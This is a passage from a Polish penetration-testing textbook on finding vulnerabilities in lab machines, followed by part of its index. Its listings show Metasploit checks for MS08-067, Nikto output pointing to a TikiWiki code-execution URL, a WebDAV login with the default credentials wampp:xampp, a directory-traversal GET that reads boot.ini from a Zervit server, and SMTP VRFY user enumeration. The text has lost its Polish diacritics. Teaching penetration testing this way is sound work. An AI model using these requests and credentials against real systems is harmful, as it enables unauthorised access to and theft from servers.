Listing 6.7. Przyk ad zastosowania modu u ftp/anonymous

msf > use scanner/ftp/anonymous

msf auxiliary(anonymous) > set RHOSTS 192.168.20.10-11
RHOSTS => 192.168.20.10-11
msf auxiliary(anonymous) > exploit

[*] 192.168.20.10:21 Anonymous READ (220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de) 
220 Please visit http://sourceforge.net/projects/filezilla/)
[*] Scanned 1 of 2 hosts (050% complete)
[*] 192.168.20.11:21 Anonymous READ (220 (vsFTPd 2.3.4)) 
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(anonymous) >

Znacznik  wskazuje miejsca informuj ce, e zarówno nasza maszyna z syste-
mem Windows XP, jak i maszyna z systemem Linux posiadaj  uruchomione
serwery FTP pozwalaj ce na anonimowy dost p do zasobów (ang. anonymous user).
Odpowied  na pytanie, czy jest to powa ne naruszenie bezpiecze stwa systemu,
zale y w g ównej mierze od tego, jakie pliki mo na znale  w katalogu anonimo-
wego u ytkownika serwera FTP. Osobi cie zdarza o mi si  realizowa  w firmach
zlecenia, w trakcie których podczas testu penetracyjnego okazywa o si , e na
serwerach FTP z dost pem do internetu znajdowa y si  przeró ne dokumenty
zawieraj ce poufne i wra liwe dane firmy. Z drugiej strony nieraz w takich ro-
dowiskach widywa am serwery FTP z anonimowym dost pem, gdzie istnienie
takiego serwera by o podyktowane potrzebami biznesowymi, ale jego zawarto
nie stanowi a adnego zagro enia dla bezpiecze stwa danych firmy. Jak wida ,
jest to kolejny przyk ad sytuacji, w której do wiadczony pentester musi osobi cie
oszacowa  ryzyko, jakie niesie ze sob  w okre lonym rodowisku potencjalna
„luka” wskazana przez zautomatyzowane narz dzie skanuj ce.

Sprawdzanie podatno ci na exploity
za pomoc  polecenia check pakietu Metasploit

Niektóre exploity dost pne w pakiecie Metasploit posiadaj  wbudowan  funkcj
check, która zamiast wykorzystywa  okre lon  luk  w zabezpieczeniach, spraw-
dza tylko, czy zdalny host jest podatny na taki atak. Polecenia check mo emy
u ywa  do sprawdzania ad hoc, czy dany exploit ma szans  zadzia a  w okre lonym
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rodowisku celu, tak jak zosta o to przedstawione na listingu 6.8. Korzystaj c
z polecenia check, nie musimy definiowa  adunku, poniewa  nie dochodzi tutaj
do wykorzystania samej luki w zabezpieczeniach, ale tylko do sprawdzenia podat-
no ci na danego exploita.

Listing 6.8. Sprawdzanie podatno ci na exploita

msf > use windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set RHOST 192.168.20.10
RHOST => 192.168.20.10
msf exploit(ms08_067_netapi) > check 

[*] Verifying vulnerable status... (path: 0x0000005a)
[+] The target is vulnerable. 
msf exploit(ms08_067_netapi) >

Po uruchomieniu sprawdzania podatno ci  Metasploit informuje, e cel ataku
(maszyna z systemem Windows XP) jest podatna na exploita ms08_067_netapi ,
tak jak mogli my tego oczekiwa .

Niestety nie wszystkie modu y exploitów maj  wbudowan  funkcj  check (je eli
spróbujesz uruchomi  polecenie check dla exploita, który nie obs uguje tej funkcji,
Metasploit wy wietli na ekranie odpowiedni komunikat). Na przyk ad bazuj c na
wynikach skanu Nmap z detekcj  wersji opisywanego w poprzednim rozdziale,
wiemy, e na maszynie z systemem Windows XP dzia a serwer poczty elektro-
nicznej, którego wersja wydaje si  przestarza a i podatna na ataki. Rzeczywi cie,
pakiet SLMail w wersji 5.5.0.4433 posiada dobrze znan  luk  w zabezpieczeniach,
CVE-2003-0264, dla której mo emy atwo wyszuka  odpowiedniego exploita,
u ywaj c polecenia search konsoli Msfconsole i podaj c w wierszu polecenia ci g
znaków cve:2003-0264.

Po wybraniu modu u exploita mo emy sprawdzi , czy ma wbudowan  obs ug
polecenia check, co zosta o pokazane na listingu 6.9.

Listing 6.9. Modu  exploita seattlelab_pass nie obs uguje funkcji check

msf exploit(seattlelab_pass) > set RHOST 192.168.20.10
rhost => 192.168.20.10
msf exploit(seattlelab_pass) > check
[*] This exploit does not support check.
msf exploit(seattlelab_pass) >

Jak si  okazuje, modu  exploita seattlelab_pass nie ma zaimplementowanej
obs ugi funkcji check, wi c nie mo emy szybko sprawdzi , czy nasz cel jest podatny
na taki atak. Mimo e patrz c na numer wersji serwera SLMail POP3, mo emy
mia o za o y , i  serwer b dzie podatny na atak, to jednak w tym przypadku

Metasploit nie potrafi nam tego potwierdzi . W takich sytuacjach nie b dziemy
pewni ko cowego rezultatu a  do momentu przeprowadzenia samego ataku.

Kup książkę Poleć książkę

http://helion.pl/rt/besyha
http://helion.pl/rf/besyha


W y s z u k i wa n i e  p o d a t n o c i  i  l u k  w  z ab ez p i e c z e n i a c h 199

Skanowanie aplikacji internetowych
Cho  w rodowisku celu mo esz oczywi cie znale  w asne aplikacje internetowe
klienta, które mog  by  podatne na ró nego rodzaju ataki, to jednak powiniene
pami ta , e równie dobrze takie same luki w zabezpieczeniach mog  si  zda-
rza  w gotowych, komercyjnych aplikacjach internetowych, takich jak aplikacje
finansowe, Webmail i inne. Je eli podczas rozpoznawania zdalnego systemu znaj-
dziesz instancj  takiej aplikacji, to odpowiednie wykorzystanie takiej podatno ci
mo e Ci pozwoli  na zdobycie przyczó ka w atakowanym rodowisku.

Luki w zabezpieczeniach aplikacji internetowych s  szczególnie interesuj ce
przy przeprowadzaniu zewn trznych testów penetracyjnych, w przypadku któ-
rych powierzchnia ataku jest cz sto ograniczona praktycznie tylko do serwera
WWW. Przyk ad przedstawiono na rysunku 6.14 — jak wida , próba wy wietlenia
domy lnej strony internetowej serwera WWW dzia aj cego na naszej maszynie
linuksowej doprowadzi a do odkrycia strony tworzonej podczas instalacji serwera
Apache.

Rysunek 6.14. Domy lna strona internetowa serwera Apache

Warto jednak zauwa y , e dopóty, dopóki nie odkryjemy jakiej  powa nej
podatno ci serwera WWW, próba prze amania zabezpiecze  przy u yciu prostej
strony wy wietlaj cej komunikat It works! mo e nie by  trywialnym zadaniem…
Nie b dziemy si  jednak poddawa  i zanim ca kowicie zrezygnujemy z tego
wektora ataku, u yjemy zautomatyzowanego skanera podatno ci aplikacji inter-
netowych do sprawdzenia, czy co  nam tutaj nie umkn o.

Pakiet Nikto
Pakiet Nikto to preinstalowany w systemie Kali Linux skaner podatno ci aplikacji
internetowych, który spe nia podobn  rol  jak Nessus — poszukuje na serwerach
WWW niebezpiecznych plików, starych, podatnych na ataki wersji oprogramo-
wania czy b dów w konfiguracjach. Aby za pomoc  tego skanera przeprowadzi
badanie naszej maszyny z systemem Linux, musimy w wierszu polecenia za pomoc
flagi –h zdefiniowa  adres hosta, tak jak zosta o to przedstawione na listingu 6.10.

Kup książkę Poleć książkę

http://helion.pl/rt/besyha
http://helion.pl/rf/besyha


200  R o z d z i a  6

Listing 6.10. Uruchamianie skanera Nikto

root@kali:/# nikto -h 192.168.20.11
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:         192.168.20.11
+ Target Hostname:   192.168.20.11
+ Target Port:       80
+ Start Time:        2015-12-28 21:31:38 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch
(...)
+ OSVDB-40478: /tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=
x.tan.phpinfo()&t=png&title=http://cirt.net/rfiinc.txt?: TikiWiki contains
a vulnerability which allows remote attackers to execute arbitrary PHP
code. 

+ 6474 items checked: 2 error(s) and 7 item(s) reported on remote host
+ End Time: 2015-12-28 21:32:41 (GMT-5) (63 seconds)

R czne przegl danie konfiguracji zdalnego serwera WWW w poszukiwaniu
aplikacji i stron posiadaj cych znane podatno ci i luki w zabezpieczeniach mo e
by  nieco przera aj cym zadaniem, ale na szcz cie Nikto bierze je na siebie.
Jednym z bardziej ciekawych rezultatów naszego przyk adowego skanu mo e
by  znalezienie podatnej na ataki wersji pakietu TikiWiki . Rzeczywi cie, kiedy
wejdziemy na stron  http://192.168.20.11/tikiwiki/, znajdziemy instancj  tego
dobrze znanego i popularnego oprogramowania CMS. Nikto podaje informacj ,
e ta instalacja jest podatna na atak pozwalaj cy na wykonanie odpowiednio

spreparowanego kodu, a szczegó owa analiza opisu podatno ci OSVDB-40478
w bazie Open Sourced Vulnerability Database ujawnia, e w pakiecie Metasploit
istnieje gotowy exploit pozwalaj cy na wykorzystanie tej luki.

OSVDB (http://osvdb.org) to repozytorium opisów luk w zabezpieczeniach wyst -
puj cych w oprogramowaniu typu open source, takim jak TikiWiki, zawieraj cych
szczegó owe informacje na temat podatno ci wyst puj cych w szerokiej gamie
produktów. Bazy OSVDB mo esz u ywa  jako dodatkowego ród a informacji
na temat interesuj cych Ci  luk w zabezpieczeniach.

Ataki na pakiet XAMPP
Przegl daj c zasoby serwera WWW dzia aj cego na naszej maszynie-celu z syste-
mem Windows XP, mo emy si  przekona , e pod adresem http://192.168.20.10/ jest
wy wietlana domy lna strona internetowa, która nale y do pakietu XAMPP 1.7.2.

Domy lnie ka da instalacja pakietu XAMPP zawiera konsol  phpMyAdmin,
czyli aplikacj  internetow  pozwalaj c  na zarz dzanie baz  danych MySQL.
W idealnych warunkach konsola phpMyAdmin nie powinna by  dost pna w sieci,
a je eli ju , to dost p do niej powinien wymaga  podania nazwy konta u ytkow-
nika i has a dost pu. Jednak w przypadku tej wersji pakietu XAMPP konsola
phpMyAdmin jest dost pna pod adresem http://192.168.20.10/phpmyadmin i nie

UWAGA
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wymaga uwierzytelnienia. Co gorsza, konsola phpMyAdmin daje dost p na pra-
wach u ytkownika root do tego samego serwera MySQL, do którego zgodnie
z raportem ze skryptu NSE nie mo emy si  pod czy  bezpo rednio. Dzi ki kon-
soli phpMyAdmin mo emy obej  to ograniczenie i swobodnie wykonywa  zapyta-
nia bezpo rednio na serwerze MySQL, co zosta o pokazane na rysunku 6.15.

Rysunek 6.15. Otwarta konsola phpMyAdmin wy wietla komunikat wskazuj cy
na niepoprawn  konfiguracj  zabezpiecze

Po wiadczenia domy lne
Oprócz otwartego dost pu do konsoli phpMyAdmin szybkie zapytanie serwisu
Google ujawnia kolejny „kwiatek” — okazuje si , e w sk ad pakietu XAMPP
w wersji 1.7.3 i wersji wcze niejszych wchodzi dodatek WebDAV (ang. Web Distri-
buted Authoring and Versioning), który jest wykorzystywany do zarz dzania pli-
kami na serwerze WWW za po rednictwem po cze  HTTP. Dodatek WebDAV
z pakietu XAMPP jest instalowany z domy lnym kontem u ytkownika i has em
wampp:xampp. Je eli administrator systemu nie zmieni tych domy lnych ustawie ,
potencjalnie ka dy u ytkownik z dost pem do WebDAV mo e si  tam zalogowa ,
zmieni  zawarto  dowolnej strony internetowej przechowywanej na serwerze
czy nawet zainstalowa  dodatkowe skrypty oraz modu y pozwalaj ce na utrzyma-
nie przyczó ka w tak zdobytym systemie i zapewniaj ce sta y dost p do serwera
WWW. Jak wida  na rysunku 6.16, dodatek WebDAV rzeczywi cie jest dost pny
na naszym serwerze.

Rysunek 6.16. Dodatek WebDAV
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Do interaktywnej pracy z serwerami wyposa onymi w dodatek WebDAV
mo emy u y  narz dzia o nazwie Cadaver. Na listingu 6.11 przedstawiono przy-
k ad sesji, w której Cadaver czy si  z dodatkiem WebDAV serwera http://192.
168.20.10 i nast pnie próbuje zalogowa  si  przy u yciu domy lnej nazwy konta
u ytkownika i has a dost pu.

Listing 6.11. Zastosowanie programu Cadaver

root@kali:/# cadaver http://192.168.20.10/webdav
Authentication required for XAMPP with WebDAV on server `192.168.20.10':
Username: wampp
Password:
dav:/webdav/> 

Nietrudno zauwa y , e programowi Cadaver uda o si  pomy lnie zalogowa
do serwera . Jak wida , dodatek WebDAV, dzia aj cy na maszynie-celu z syste-
mem Windows XP, wykorzystuje domy lny zestaw po wiadcze , którego b dziemy
mogli u y  do uzyskania dost pu do systemu. Maj c dost p do konsoli WebDAV,
mo emy bez trudu za adowa  na serwer WWW dowolne pliki.

Samodzielna analiza podatno ci
W praktyce zdarzaj  si  jednak sytuacje, w których nic innego nie sprawdza si  tak
dobrze jak samodzielne wyszukiwanie i analiza potencjalnych luk w zabezpie-
czeniach, w trakcie których pentester musi u y  ca ej swojej wiedzy i do wiad-
czenia do oszacowania mo liwo ci wykorzystania takiej czy innej podatno ci do
uzyskania dost pu do atakowanego systemu. W kilku kolejnych podrozdzia ach
omówimy par  przyk adów sytuacji, w których zdecydowanie warto b dzie samo-
dzielnie szczegó owo zbada  niektóre obiecuj ce tropy znalezione w wynikach
dzia ania zautomatyzowanych skanerów portów i podatno ci.

Eksploracja nietypowych portów
Podczas skanowania portów maszyny-celu z systemem Windows XP dowiedzie-
li my si , e port 3232 jest otwarty, jednak w trakcie próby nieco bardziej agre-
sywnego skanowania z detekcj  wersji oprogramowania us uga dzia aj ca na tym
porcie uleg a awarii (patrz rozdzia  5.). Takie zachowanie mo e sugerowa , e
program nas uchuj cy na danym porcie oczekuje przesy ania okre lonych infor-
macji i nie bardzo sobie radzi z przetwarzaniem innych, niespodziewanych danych
pojawiaj cych si  na tym porcie.

Z punktu widzenia pentestera opisane wy ej zachowanie us ugi sieciowej jest
bardzo interesuj ce, poniewa  oznacza to, e program dzia aj cy na danym porcie
nie potrafi prawid owo oszacowa  poprawno ci danych nap ywaj cych na jego
wej cie. Jak pami tasz, w rozdziale 5. komunikaty wysy ane w czasie awarii
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oprogramowania dzia aj cego na tym porcie pozwoli y nam okre li , e jest to
serwer WWW. Próba po czenia z portem 3232 za pomoc  przegl darki siecio-
wej potwierdza takie przypuszczenie, co zosta o pokazane na rysunku 6.17.

Rysunek 6.17. Serwer WWW dzia aj cy na porcie 3232

Nietrudno zauwa y , e na tej stronie nie ma zbyt wielu ciekawych informacji,
ale maj c potwierdzenie dzia ania portu, mo emy spróbowa  po czy  si  z nim
za pomoc  programu Netcat. Wiemy, e program dzia aj cy na porcie 3232 to
serwer WWW, wi c spróbujemy do niego „zagada ” w j zyku, który powinien by
dla niego zrozumia y. Sesja z przegl dark  pokaza a, e mo emy wy wietli
domy ln  stron  WWW, a zatem naszym pierwszym poleceniem wys anym do
serwera b dzie pro ba o przes anie tej strony. Aby to zrobi , po uzyskaniu po -
czenia wpisz polecenie GET / HTTP/1.1, tak jak zosta o to przedstawione na lis-
tingu 6.12.

Listing 6.12. Po czenie z portem 3232 przy u yciu programu Netcat

root@kali:~# nc 192.168.20.10 3232
GET / HTTP/1.1
HTTP/1.1 200 OK
Server: Zervit 0.4 
X-Powered-By: Carbono
Connection: close
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 36

<html>
<body>
hi
</body>
</html>root@bt:~#

Serwer WWW przedstawi  nam si  uprzejmie jako Zervit 0.4 . Nie wró y
to dla atakowanego systemu niczego dobrego, poniewa  ju  jeden z pierwszych
wyników wyszukiwania zwracanych przez Google dla frazy Zervit 0.4 nosi tytu
„Zervit 0.4 exploit”. Ten sk din d sympatyczny serwer WWW mo e si  niestety
„poszczyci ” du  liczb  znanych luk w zabezpieczeniach, takich jak b dy
przepe nienia bufora czy b dy pozwalaj ce na ujawnianie zawarto ci lokalnych
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plików serwera (ang. local file inclusion vulnerability). Oprogramowanie to jest na
tyle wra liwe, e by  mo e najlepszym rozwi zaniem b dzie unikanie prób wyko-
rzystania b dów przepe nienia bufora w obawie przed spowodowaniem nieza-
mierzonej awarii serwera… Z drugiej strony luki w zabezpieczeniach powoduj ce
mo liwo  wymuszenia na serwerze ujawnienia zawarto ci plików lokalnych
wygl daj  bardzo zach caj co. Wiemy, e serwer potrafi przetwarza  dania
HTTP GET. W takiej sytuacji mo emy dokona  próby pobrania z systemu Win-
dows XP pliku boot.ini poprzez wys anie dania GET powoduj cego cofni cie si
o pi  poziomów w gór  hierarchii systemu plików do katalogu g ównego dysku C,
tak jak zosta o to przedstawione na listingu 6.13.

Listing 6.13. Luka pozwalaj ca na ujawnienie zawarto ci lokalnych plików w serwerze
Zervit 0.4

root@kali:~# nc 192.168.20.10 3232
GET /../../../../../boot.ini HTTP/1.1
HTTP/1.1 200 OK
Server: Zervit 0.4
X-Powered-By: Carbono
Connection: close
Accept-Ranges: bytes
Content-Type: application/octet-stream
Content-Length: 211

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home
Edition" /fastdetect /NoExecute=OptIn

Jak wida , byli my w stanie pobra  plik boot.ini, czyli plik konfiguracyjny
informuj cy system Windows o tym, które opcje adowania systemu operacyjnego
b d  wy wietlane podczas uruchamiania systemu. W rozdziale 8. u yjemy tej
podatno ci do pobierania innych wra liwych plików z tego systemu.

Wyszukiwanie nazw kont u ytkowników
Szanse na przeprowadzenie pomy lnego ataku na has a dost pu drastycznie rosn ,
je eli znamy nazwy kont u ytkowników dla poszczególnych us ug (wi cej szcze-
gó owych informacji na ten temat znajdziesz w rozdziale 9.). Jednym ze sposobów
znalezienia poprawnych nazw kont u ytkowników serwera poczty elektronicznej
jest wykorzystanie komendy VRFY, o ile oczywi cie jest ona dost pna. Jak sama
nazwa mo e sugerowa , komenda VRFY sprawdza, czy podane konto u ytkownika
istnieje na serwerze. Skanowanie przeprowadzone za pomoc  programu Nmap
i skryptów NSE ujawni o wcze niej, e na serwerze poczty elektronicznej, dzia a-
j cym na naszej maszynie z systemem Windows XP, wykonywanie komendy VRFY
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jest dozwolone. Po cz si  z portem TCP/25 za pomoc  programu Netcat i u yj
komendy VRFY do sprawdzenia poprawno ci kilku kont u ytkowników, tak jak
zosta o to przedstawione na listingu 6.14.

Listing 6.14. Zastosowanie komendy SMTP VRFY

root@kali:~# nc 192.168.20.10 25
220 georgia.com SMTP Server SLmail 5.5.0.4433 Ready ESMTP spoken here
VRFY georgia
250 Georgia<georgia@>
VRFY john
551 User not local

Za pomoc  komendy VRFY mo emy si  przekona , e konto u ytkownika
o nazwie georgia istnieje na serwerze, czego nie mo na jednak powiedzie  o koncie
john. Nazw kont u ytkowników b dziemy u ywali w rozdziale 9. podczas prób
odgadni cia hase  dost pu.

Podsumowanie
W tym rozdziale omawiali my wiele ró nych metod wyszukiwania podatno ci i luk
w zabezpieczeniach hostów dzia aj cych w naszym rodowisku testowym. Korzy-
staj c z wielu ró nych narz dzi i technik, byli my w stanie znale  niezliczone
sposoby uzyskania dost pu do komputerów b d cych celami ataków, w czaj c
w to takie metody jak wykorzystanie s ynnej luki MS08-067 w serwerze SMB
systemu Windows XP czy b dy pozwalaj ce na pobieranie plików lokalnych ser-
wera Zervit 0.4. Dzi ki u yciu komendy VRFY mogli my odszuka  i potwierdzi
poprawno  jednego z kont u ytkowników, które nast pnie mo emy wykorzysta
do przeprowadzenia ataków na has a dost pu do serwera poczty elektronicznej.

Na podstawie skanowania z detekcj  wersji dowiedzieli my si  równie , e
serwer SLMail mo e posiada  luki w zabezpieczeniach us ugi POP3 (cho  nie
uda o nam si  jeszcze tego potwierdzi ), a oprócz tego na serwerze WWW znale -
li my ca kowicie otwart  konsol  phpMyAdmin, która daje nam dost p na poziomie
u ytkownika root do bazy danych MySQL, oraz zainstalowany dodatek WebDAV,
wykorzystuj cy domy lny zestaw po wiadcze , za pomoc  którego mo emy „wrzu-
ci ” na taki serwer dowolne pliki. W maszynie-celu, pracuj cej pod kontrol
systemu Linux, uda o nam si  znale  sieciowy udzia  NFS, pozwalaj cy na zapi-
sywanie plików w katalogu .ssh, oraz nieco „ukryt ” instalacj  pakietu TikiWiki,
która najprawdopodobniej ma luk  pozwalaj c  na zdalne wykonywanie odpo-
wiednio spreparowanego kodu. Odkryty przez nas serwer Vsftpd 2.3.4 mo e
natomiast posiada  ukryte tylne wej cie, b d ce rezultatem wcze niejszego w a-
mania do repozytoriów pakietu Vsftpd i podmiany plików binarnych tego opro-
gramowania.
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Na tym etapie naszych poszukiwa  widzimy ju , e obie maszyny z syste-
mami Windows XP i Linux dzia aj ce w naszym rodowisku testowym maj  ca kiem
sporo powa nych podatno ci i luk w zabezpieczeniach. Jak do tej pory brak odpo-
wiedniej p aszczyzny ataku na komputer z systemem Windows 7 powoduje, e
jawi si  on nam jako oaza bezpiecze stwa, ale jak si  niebawem przekonamy, ten
solidny pancerz równie  mo e skrywa  kilka nieprzyjemnych niespodzianek. Zanim
przejdziemy do omawiania sposobów wykorzystywania odkrytych podatno ci i luk
w zabezpieczeniach, w kolejnym rozdziale poka  kilka sposobów przechwyty-
wania i analizy ruchu sieciowego, które mog  nam pomóc w przechwytywaniu
ró nych wra liwych informacji, takich jak nazwy kont u ytkowników czy has a
dost pu wykorzystywane do logowania do ró nych us ug sieciowych.
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agent
SPF, 566, 570
uwierzytelniania, 253

aktualizacja pakietu metasploit, 155
aktywacja systemu Windows, 65
algorytm

LM, 269, 270
NTLM, 269
RC4, 245, 265

algorytmy haszuj ce, 270
analiza

dynamiczna, 331
kodu ród owego, 522
podatno ci, 33, 202
statyczna, 331
zawarto ci pakietów, 212

Android, 54, 555
Android 4.3, 59
anonimowy dost p, 197

anulowanie uwierzytelnienia, 433
aplet Java, 301
aplikacje

antywirusowe, 331
APK, 570
internetowe, 248, 393

ARP, Address Resolution Protocol, 213
atak typu, 33

ARP Cache Poisoning, 213
ARP Request Replay, 434
brute-force, 255, 260, 274
Caffé Latte, 432
Chop-Chop, 432
CSRF, 418
DNS Cache Poisoning, 220
DoS, 153
LFI, 405
MiTM, 53, 213, 224, 226
odmowa us ugi, 475
pass the hash, 374, 376
PTW, 432
reflected XSS, 412
RFI, 408
SQL Injection, 399, 401
SSL, 224
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atak typu
SSL MiTM, 224
SSL Stripping, 226–229
stored XSS, 412
XPath Injection, 403
XSS, 411, 414
zero-day, 310

ataki
e-mailowe, 322
na has a, 255
na pakiet TikiWiki, 249
na pakiet XAMPP, 200
na przegl dark  sieciow , 287, 306, 561
na rozszerzanie uprawnie , 354
na serwer SLMail, 247
na serwer Vsftpd, 250
na sieci bezprzewodowe, 423
na urz dzenia mobilne, 547
phishingowe, 312

ataki
phishingowe ukierunkowane, 314
po stronie klienta, 283, 561
socjotechniczne, 311
typu offline, 263
typu online, 256
wieloplatformowe, 303
wielop aszczyznowe, 325
z wykorzystaniem kodów USSD, 564
z wykorzystaniem stron internetowych, 319
zdalne, 559

atakowanie apletem Java, 304
automatyczna migracja pow oki, 291
automatyczne

atakowanie przegl darki, 306
instalowanie aktualizacji, 67, 85

automatyzacja zada , 112
awaria

programu, 456, 476
serwera, 179, 477, 485, 495, 502, 528

B
backdoor, 182, 250, 563
baza danych

MS SQL, 403
MySQL, 200
PostgreSQL, 131

baza
exploitów, 363
modu ów, 133

BeEF, Browser Exploitation Framework, 414
bia y wywiad, 160
biblioteka

Ctypes, 343
MSVCRT.dll, 488, 501, 532
netapi32.dll, 133
shell32.dll, 356
stdio, 126
USER32.dll, 532

Bind shell, 142
b d

naruszenia dost pu, 501
XML, 404

botnet, 191
brama sieciowa, 107
broadcast, 215
brute-force, 255, 260, 274

C
certyfikat SSL, 50, 224
ciasteczka stosu, 543
CSRF, Cross-Site Request Forgery, 418
cyfrowe podpisywanie

kodu, 545
pliku APK, 572

D
deasemblacja, 468
debugger, 467

GDB, 457, 463
Immunity Debugger, 490

definiowanie celu ataku, 317
detekcja wersji oprogramowania, 175, 179
dialer, 563
DMZ, demilitarized zone, 382
DNS, Domain Name System, 162
dodatek WebDAV, 201, 237
dodawanie

interfejsu sieciowego, 87
kont u ytkowników, 95
krótkiego skoku, 517
p tli for, 119
tekstu, 98
tras, 384

dokumentacja polece , 93
do czanie

tekstu, 99
urz dze  mobilnych, 555
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domena sieciowa, 73
domy lna

brama sieciowa, 107
instalacja pakietu SPF, 571

domy lne
has a SSH, 560
po wiadczenia logowania, 559

dopasowywanie wzorców, 104
DoS, Denial of Service, 153
dostarczanie adunków, 150
dost p

do kodu ród owego, 407
do plików, 99, 100
do pow oki systemu, 403
do ruchu sieciowego, 219
do serwera FTP, 196
do serwera POP3, 261
do systemu, 372, 388
fizyczny do systemu, 266
otwarty, 428

dostosowywanie kodu exploitów, 529
dzia anie

modu u, 542
polecenia getsystem, 359
polecenia ipconfig, 411
programu theHarvester, 165
programu w3af, 420
skanera Nmap, 578
skryptu NFS-LS, 195
wtyczki Mona, 506

E
edytor

nano, 53, 101
vi, 101

edytowanie
kodu exploita, 533
plików, 100, 101
pliku, 101

ekran
aplikacji mobilnej, 558
pomocy polecenia getsystem, 357
pomocy polecenia upload, 351
pomocy skryptu migrate, 353

eksploracja
nietypowych portów, 202
pow amaniowa, 350
skompromitowanego systemu, 33
systemu, 349

rodowiska celu, 233
urz dze  mobilnych, 573

eksportowanie wyników skanowania, 190
emulator

systemu Android, 54, 554
urz dzenia, 59

enkoder, 335
x86/bloxor, 336
x86/shikata_ ga_nai, 335

enkodowanie wielokrotne, 336
exploit, 130

iPhone jailbreak, 546
MS08-067, 146, 156
winamp_maki_bof, 307

exploity dla plików PDF, 292

F
fa szywa

strona internetowa, 321
to samo , 253

fa szywe uwierzytelnienia, 432
filtr

antyspamowy, 323
arp, 215

filtrowanie
pakietów, 211
ruchu sieciowego, 210
wyników, 120, 121

format
.gnmap, 173
.nmap, 173
ASPX, 409
adunku, 149

pakietu TFTP, 524
RAW, 337

funkcja
Afdjoinleaf, 358
check, 198
connect, 124
CreateThread, 343
IsUserAnAdmin, 356
main, 126, 339, 461
overflowed, 468
printf, 127
raw_input, 123
RTLMoveMemory, 343
skrótu, 244, 265
skrótu MD5, 330
VirtualAlloc, 343, 345

Kup książkę Poleć książkę

http://helion.pl/rt/besyha
http://helion.pl/rf/besyha


594  S k o r o w i d z

funkcje Windows API, 343
fuzzing, 521
fuzzowanie

programów, 522
serwera, 526
serwera TFTP, 523

G
generator liczb pseudolosowych, 339, 431
generowanie

kluczy, 260
kluczy SSH, 252
kodu pow oki, 493, 496
pliku wykonywalnego, 345
wektorów inicjuj cych, 434
wzorca cyklicznego, 503

dania ARP, 435
Google Play, 570, 571
graficzny interfejs u ytkownika, 43

H
has a

w pami ci operacyjnej, 276
w plikach konfiguracyjnych, 274
zahaszowane, 266
zaszyfrowane, 244

has o
1stPentestBook?!, 61, 83
admin:admin, 424
password, 66, 218
Password123, 378
wampp, 275
wampp:xampp, 201

hasz
MD5, 330
NETLM, 381
NETNTLM, 381
NTLM, 375
SHA, 330

hasze hase , 264, 270
historia polece , 372

I
ICMP, Internet Control Message Protocol, 116
identyfikator

BSSID, 433
CVE, 191

IMEI, 564
klucza, 430
PID, 366
SSID, 433

IIS, Internet Information Services, 410
IMEI, 565
informacje

na temat skryptu, 192
o exploitach, 248
o konfiguracji po cze  sieciowych, 47
o lokalnym systemie, 362
o module MS08-067, 135
o polityce skanowania, 185
o serwerach poczty elektronicznej, 163
o skrypcie NFS-LS, 194
o witrynie, 162
o zainfekowanym urz dzeniu, 573
ze schowka, 418

inline payloads, 236
instalowanie

agenta, 568
aplikacji SPF, 556
celów ataku, 61
dodatkowego oprogramowania, 88
dodatkowych pakietów, 52
emulatorów systemu Android, 54
maszyny wirtualnej, 62
pakietu Immunity Debugger, 81
pakietu Mona, 82
pakietu Nessus, 48
pakietu SPF, 60
pakietu Veil-Evasion, 53
pakietu VMware, 39
pakietu VMware Tools, 68, 70, 85
skanera Nmap, 577
systemu Kali Linux, 40
systemu Windows, 65
us ug pakietu XAMPP, 79
us ugi 3Com TFTP, 77
z o liwej skórki, 308

instrukcja
if, 124, 127
POP, 511
POP POP RET, 511
PUSH, 511

instrukcje krótkiego skoku, 517
interfejs

BeEF, 415
Burp Proxy, 395
Msfcli, 131, 145
Msfconsole, 131
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sieciowy, 106
u ytkownika, 474
w3af, 420
WWW routera, 424

interfejsy sieciowe, 383, 425
iOS, 285
IV, Initialization Vector, 429

J
jailbreaking, 546
j zyk

C, 125, 578
Python, 123
Ruby, 353
SQL, 243

JRE, Java Runtime Environment, 298

K
Kali Linux, 40, 91, Patrz tak e Linux
kanarki, canaries, 543
karta

bezprzewodowa, 424
sieciowa, 208
sieciowa maszyny wirtualnej, 64

keylogging, 367
klasa post, 355
klauzula o zachowaniu poufno ci, 32
klient

TFTP, 243
WebDAV, 237

klucz
bootkey, 265
licencyjny systemu, 66
prywatny, 252
publiczny, 252
szyfrowania, 265, 430
WEP, 429

klucze SSH, 252
kod

funkcji main, 461
funkcji overflowed, 468
operacji, OpCode, 524
PoC, 191
pow oki, 140, 494
QR, 326, 552
USSD, 564
ród owy exploita, 494, 519
ród owy exploita publicznego, 529

kodowanie, 335
kolejka LIFO, 511
kolejno  zapisu bajtów, 469
komendy do agenta, 573
kompilator

GCC, 340
Ming C, 52
Mingw32, 340

kompilatory skro ne, 340
kompilowanie, 338

exploita, 364
programów, 125

komunikacja bliskiego zasi gu, 551
komunikat

Execution Hijacked, 470
o b dzie, 401, 402

koncentratory, hubs, 208
konfigurowanie

karty sieciowej, 64
lokalizacji logów, 82
masowego ataku e-mailowego, 323
maszyny wirtualnej, 267
opcji agenta SPF, 571
pakietu SPF, 552
po czenia, 369
po cze  sieciowych, 44, 106
procesu nas uchuj cego, 318
programu Ettercap, 54
przegl darki sieciowej, 395
serwera proxy, 386, 396
sieciowa systemu, 383
systemu Kali Linux, 40
systemu Windows XP, 73
zabezpiecze , 201

konsola
Msfconsole, 131, 355
phpMyAdmin, 200, 241
tekstowa, 131

konto u ytkownika, 95
kontrolowanie

rejestru, 487
urz dzenia mobilnego, 575
wska nika EIP, 465

ko  troja ski, 328
kopiowanie

aplikacji, 557
exploita, 364
adunku, 239

plików, 97
kreatory polityk skanowania, 184
krótkie skoki, 517
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kryptoanaliza protoko u WEP, 433
kryteria CVSS, 189
KSA, key-scheduling algorithm, 430

L
LFI, Local File Inclusion, 405
LIFO, Last In, First Out, 511
Linux

automatyzacja zada , 112
